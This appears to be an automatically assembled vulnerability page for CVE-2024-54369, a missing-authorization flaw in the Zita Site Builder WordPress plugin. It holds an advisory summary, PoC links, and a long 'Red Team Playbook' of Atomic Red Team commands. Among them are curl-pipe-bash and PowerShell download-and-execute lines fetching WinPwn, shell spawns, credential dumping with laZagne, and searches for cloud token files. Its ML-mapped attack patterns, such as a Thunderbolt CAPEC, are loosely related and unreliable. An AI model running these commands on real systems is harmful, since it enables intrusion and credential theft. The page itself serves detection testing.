CVE-2024-54369
Overview
This vulnerability is a Missing Authorization flaw affecting the ThemeHunk Zita Site Builder ai-site-builder plugin. The root cause is the absence of proper Access Control List (ACL) enforcement on specific plugin functions, allowing unauthorized users to invoke privileged operations. The affected component is the ai-site-builder functionality within Zita Site Builder versions up to and including 1.0.2.
Vulnerability Description
Missing Authorization vulnerability in ThemeHunk Zita Site Builder ai-site-builder allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Zita Site Builder: from n/a through <= 1.0.2.
Impact
An attacker can exploit this vulnerability without any authentication or user interaction to gain administrative capabilities within the WordPress environment. This allows arbitrary plugin installation and activation, leading to full site compromise, potential data exfiltration, or persistent backdoor installation. The lack of access control effectively grants the attacker elevated privileges, enabling lateral movement and complete control over the affected WordPress instance.
Solution
Users of ThemeHunk Zita Site Builder should upgrade to a version later than 1.0.2 where this vulnerability is addressed. The Patchstack advisory at https://patchstack.com/database/Wordpress/Plugin/ai-site-builder/vulnerability/wordpress-zita-site-builder-plugin-1-0-2-arbitrary-plugin-installation-and-activation-vulnerability?_s_id=cve provides detailed patch instructions. Applying the vendor-supplied update that enforces proper ACL checks on the ai-site-builder functions is the recommended remediation.
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Full Analysis
The vulnerability identified in the ThemeHunk Zita Site Builder relates to inadequate authorization mechanisms, specifically the absence of proper Access Control Lists (ACLs) that govern user permissions. This flaw allows unauthorized users to access functionalities that should be restricted, leading to potential exploitation. The issue arises from a failure to enforce security policies effectively, which can occur when developers overlook the necessity of validating user permissions before granting access to sensitive operations. As a result, users can manipulate the application in ways that were not intended, potentially leading to data exposure or unauthorized actions within the site.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage social engineering techniques to gain access to a legitimate user account, or they might exploit the lack of authorization checks directly by crafting requests that bypass the intended security controls. For example, an attacker could access administrative functionalities by simply altering the parameters of a request, assuming that the application does not correctly validate the user's role or permissions. This could lead to unauthorized changes to site content, user data manipulation, or even the installation of malicious code, significantly compromising the integrity of the affected website.
The real-world impact of this vulnerability can be severe, particularly for organizations that rely on the Zita Site Builder for their online presence. The potential for unauthorized access to sensitive functionalities can result in data breaches, loss of customer trust, and reputational damage. Businesses may face regulatory repercussions if sensitive customer data is exposed due to inadequate security measures. Furthermore, the financial implications of remediation efforts, potential legal liabilities, and the costs associated with restoring customer confidence can be substantial. The high CVSS score of 9.1 indicates that this vulnerability poses a critical risk, necessitating immediate attention from affected organizations.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments and code reviews can help identify and rectify authorization flaws before they are exploited. Employing automated security testing tools can also assist in uncovering weaknesses in access controls. Additionally, organizations should ensure that they have robust logging and monitoring in place to detect any unauthorized access attempts. In terms of mitigation, it is essential to apply patches or updates provided by the vendor as soon as they are released. Moreover, implementing a principle of least privilege can help minimize the potential impact by ensuring that users only have access to the functionalities necessary for their roles.
In conclusion, the missing authorization vulnerability in the ThemeHunk Zita Site Builder represents a significant threat to organizations utilizing this platform. The potential for unauthorized access to critical functionalities can lead to severe consequences, including data breaches and reputational damage. By adopting proactive detection and mitigation strategies, organizations can safeguard their systems against exploitation and ensure that they maintain the integrity of their online operations. It is imperative for businesses to remain vigilant and responsive to such vulnerabilities to protect their assets and maintain customer trust in an increasingly complex cybersecurity landscape.
Affected Products
No CPE information available.
Disclaimer
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GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
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Nxploited/CVE-2024-54369-PoC
PoC: Plugin: Zita Site Builder <= 1.0.2 - Arbitrary Plugin Installation
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Nxploited | 0 | 0 | 2025-01-18 | View |
|
RandomRobbieBF/CVE-2024-54369
Zita Site Builder <= 1.0.2 - Missing Authorization to Arbitrary Plugin Installation
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RandomRobbieBF | 0 | 0 | 2024-12-19 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
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Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
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CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
42%
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Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2024-54369 |
| patchstack.com |
GitHub CVE
vdb-entry
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https://patchstack.com/database/Wordpress/Plugin/ai-site-builder/vulnerability/wordpress-zita-site-builder-plugin-1-0-2-arbitrary-plugin-installation-and-activation-vulnerability?_s_id=cve |